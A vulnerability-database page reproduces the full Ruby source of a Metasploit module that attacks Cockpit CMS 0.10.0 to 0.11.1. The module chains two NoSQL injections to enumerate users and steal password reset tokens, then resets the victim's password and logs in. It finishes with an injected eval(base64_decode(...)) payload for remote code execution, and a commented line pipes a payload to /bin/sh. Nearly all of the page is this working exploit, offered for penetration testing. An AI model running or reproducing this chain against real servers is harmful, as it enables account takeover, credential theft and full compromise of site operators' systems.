Lucene search
K

Cockpit CMS 0.11.1 NoSQL Injection / Remote Command Execution

🗓️ 21 Apr 2021 00:00:00Reported by h00dieType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 1008 Views

Cockpit CMS NoSQLi to RCE module exploits two NoSQLi vulnerabilities to retrieve the user list and password reset tokens, enabling the reset of user passwords, and then a command injection vulnerability to execute the payload

Related
Code
ReporterTitlePublishedViews
Family
0day.today
Cockpit CMS 0.11.1 NoSQL Injection / Remote Command Execution Exploit
21 Apr 202100:00
zdt
0day.today
Cockpit CMS 0.11.1 - (Username Enumeration & Password Reset) NoSQL Injection Exploit
10 Aug 202100:00
zdt
GithubExploit
Exploit for SQL Injection in Agentejo Cockpit
25 Jul 202105:05
githubexploit
GithubExploit
Exploit for SQL Injection in Agentejo Cockpit
6 Aug 202109:19
githubexploit
GithubExploit
Exploit for SQL Injection in Agentejo Cockpit
5 Aug 202118:48
githubexploit
GithubExploit
Exploit for SQL Injection in Agentejo Cockpit
21 Jan 202622:18
githubexploit
ATTACKERKB
CVE-2020-35846
30 Dec 202000:00
attackerkb
ATTACKERKB
CVE-2020-35847
30 Dec 202000:00
attackerkb
Circl
CVE-2020-35846
30 Dec 202007:30
circl
Circl
CVE-2020-35847
30 Dec 202007:30
circl
Rows per page
`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'metasploit/framework/hashes/identify'  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = NormalRanking  
  
include Msf::Exploit::Remote::HttpClient  
include Msf::Auxiliary::Report  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'Cockpit CMS NoSQLi to RCE',  
'Description' => %q{  
This module exploits two NoSQLi vulnerabilities to retrieve the user list,  
and password reset tokens from the system. Next, the USER is targetted to  
reset their password.  
Then a command injection vulnerability is used to execute the payload.  
While it is possible to upload a payload and execute it, the command injection  
provides a no disk write method which is more stealthy.  
Cockpit CMS 0.10.0 - 0.11.1, inclusive, contain all the necessary vulnerabilities  
for exploitation.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'h00die', # msf module  
'Nikita Petrov' # original PoC, analysis  
],  
'References' =>  
[  
[ 'URL', 'https://swarm.ptsecurity.com/rce-cockpit-cms/' ],  
[ 'CVE', '2020-35847' ], # reset token extraction  
[ 'CVE', '2020-35846' ], # user name extraction  
],  
'Platform' => ['php'],  
'Arch' => ARCH_PHP,  
'Privileged' => false,  
'Targets' =>  
[  
[ 'Automatic Target', {}]  
],  
'DefaultOptions' =>  
{  
'PrependFork' => true  
},  
'DisclosureDate' => '2021-04-13',  
'DefaultTarget' => 0,  
'Notes' =>  
{  
# ACCOUNT_LOCKOUTS due to reset of user password  
'SideEffects' => [ ACCOUNT_LOCKOUTS, IOC_IN_LOGS ],  
'Reliability' => [ REPEATABLE_SESSION ],  
'Stability' => [ CRASH_SERVICE_DOWN ]  
}  
)  
)  
  
register_options(  
[  
Opt::RPORT(80),  
OptString.new('TARGETURI', [ true, 'The URI of Cockpit', '/']),  
OptBool.new('ENUM_USERS', [false, 'Enumerate users', true]),  
OptString.new('USER', [false, 'User account to take over', ''])  
], self.class  
)  
end  
  
def get_users(check: false)  
print_status('Attempting Username Enumeration (CVE-2020-35846)')  
res = send_request_raw(  
'uri' => '/auth/requestreset',  
'method' => 'POST',  
'ctype' => 'application/json',  
'data' => JSON.generate({ 'user' => { '$func' => 'var_dump' } })  
)  
  
fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to the web service") unless res  
  
# return bool of if not vulnerable  
# https://github.com/agentejo/cockpit/blob/0.11.2/lib/MongoLite/Database.php#L432  
if check  
return (res.body.include?('Function should be callable') ||  
# https://github.com/agentejo/cockpit/blob/0.12.0/lib/MongoLite/Database.php#L466  
res.body.include?('Condition not valid') ||  
res.body.scan(/string\(\d{1,2}\)\s*"([\w-]+)"/).flatten == [])  
end  
  
res.body.scan(/string\(\d{1,2}\)\s*"([\w-]+)"/).flatten  
end  
  
def get_reset_tokens  
print_status('Obtaining reset tokens (CVE-2020-35847)')  
res = send_request_raw(  
'uri' => '/auth/resetpassword',  
'method' => 'POST',  
'ctype' => 'application/json',  
'data' => JSON.generate({ 'token' => { '$func' => 'var_dump' } })  
)  
  
fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to the web service") unless res  
  
res.body.scan(/string\(\d{1,2}\)\s*"([\w-]+)"/).flatten  
end  
  
def get_user_info(token)  
print_status('Obtaining user info')  
res = send_request_raw(  
'uri' => '/auth/newpassword',  
'method' => 'POST',  
'ctype' => 'application/json',  
'data' => JSON.generate({ 'token' => token })  
)  
  
fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to the web service") unless res  
  
/this.user\s+=([^;]+);/ =~ res.body  
userdata = JSON.parse(Regexp.last_match(1))  
userdata.each do |k, v|  
print_status(" #{k}: #{v}")  
end  
report_cred(  
username: userdata['user'],  
password: userdata['password'],  
private_type: :nonreplayable_hash  
)  
userdata  
end  
  
def reset_password(token, user)  
password = Rex::Text.rand_password  
print_good("Changing password to #{password}")  
res = send_request_raw(  
'uri' => '/auth/resetpassword',  
'method' => 'POST',  
'ctype' => 'application/json',  
'data' => JSON.generate({ 'token' => token, 'password' => password })  
)  
  
fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to the web service") unless res  
  
# loop through found results  
body = JSON.parse(res.body)  
print_good('Password update successful') if body['success']  
report_cred(  
username: user,  
password: password,  
private_type: :password  
)  
password  
end  
  
def report_cred(opts)  
service_data = {  
address: datastore['RHOST'],  
port: datastore['RPORT'],  
service_name: 'http',  
protocol: 'tcp',  
workspace_id: myworkspace_id  
}  
credential_data = {  
origin_type: :service,  
module_fullname: fullname,  
username: opts[:username],  
private_data: opts[:password],  
private_type: opts[:private_type],  
jtr_format: identify_hash(opts[:password])  
}.merge(service_data)  
  
login_data = {  
core: create_credential(credential_data),  
status: Metasploit::Model::Login::Status::UNTRIED,  
proof: ''  
}.merge(service_data)  
create_credential_login(login_data)  
end  
  
def login(un, pass)  
print_status('Attempting login')  
res = send_request_cgi(  
'uri' => '/auth/login'  
)  
fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to the web service") unless res  
fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to the web service") unless /csfr\s+:\s+"([^"]+)"/ =~ res.body  
cookie = res.get_cookies  
res = send_request_raw(  
'uri' => '/auth/check',  
'method' => 'POST',  
'ctype' => 'application/json',  
'cookie' => cookie,  
'data' => JSON.generate({ 'auth' => { 'user' => un, 'password' => pass }, 'csfr' => Regexp.last_match(1) })  
)  
fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to the web service") unless res  
fail_with(Failure::UnexpectedReply, "#{peer} - Login failed. This is unexpected...") if res.body.include?('"success":false')  
print_good("Valid cookie for #{un}: #{cookie}")  
cookie  
end  
  
def gen_token(user)  
print_status('Attempting to generate tokens')  
res = send_request_raw(  
'uri' => '/auth/requestreset',  
'method' => 'POST',  
'ctype' => 'application/json',  
'data' => JSON.generate({ user: user })  
)  
fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to the web service") unless res  
end  
  
def rce(cookie)  
print_status('Attempting RCE')  
p = Rex::Text.encode_base64(payload.encoded)  
send_request_raw(  
'uri' => '/accounts/find',  
'method' => 'POST',  
'cookie' => cookie,  
'ctype' => 'application/json',  
# this is more similar to how the original POC worked, however even with the & and prepend fork  
# it was locking the website (php/db_conn?) and throwing 504 or 408 errors from nginx until the session  
# was killed when using an arch => cmd type payload.  
# 'data' => "{\"options\":{\"filter\":{\"' + die(`echo '#{p}' | base64 -d | /bin/sh&`) + '\":0}}}"  
# with this method most pages still seem to load, logins work, but the password reset will not respond  
# however, everything else seems to work ok  
'data' => "{\"options\":{\"filter\":{\"' + eval(base64_decode('#{p}')) + '\":0}}}"  
)  
end  
  
def check  
begin  
return Exploit::CheckCode::Appears unless get_users(check: true)  
rescue ::Rex::ConnectionError  
fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")  
end  
Exploit::CheckCode::Safe  
end  
  
def exploit  
if datastore['ENUM_USERS']  
users = get_users  
print_good(" Found users: #{users}")  
end  
  
fail_with(Failure::BadConfig, "#{peer} - User to exploit required") if datastore['user'] == ''  
  
tokens = get_reset_tokens  
# post exploitation sometimes things get wonky, but doing a password recovery seems to fix it.  
if tokens == []  
gen_token(datastore['USER'])  
tokens = get_reset_tokens  
end  
print_good(" Found tokens: #{tokens}")  
good_token = ''  
tokens.each do |token|  
print_status("Checking token: #{token}")  
userdata = get_user_info(token)  
if userdata['user'] == datastore['USER']  
good_token = token  
break  
end  
end  
fail_with(Failure::UnexpectedReply, "#{peer} - Unable to get valid password reset token for user. Double check user") if good_token == ''  
password = reset_password(good_token, datastore['USER'])  
cookie = login(datastore['USER'], password)  
rce(cookie)  
end  
end  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

21 Apr 2021 00:00Current
0.2Low risk
Vulners AI Score0.2
EPSS0.93971
1008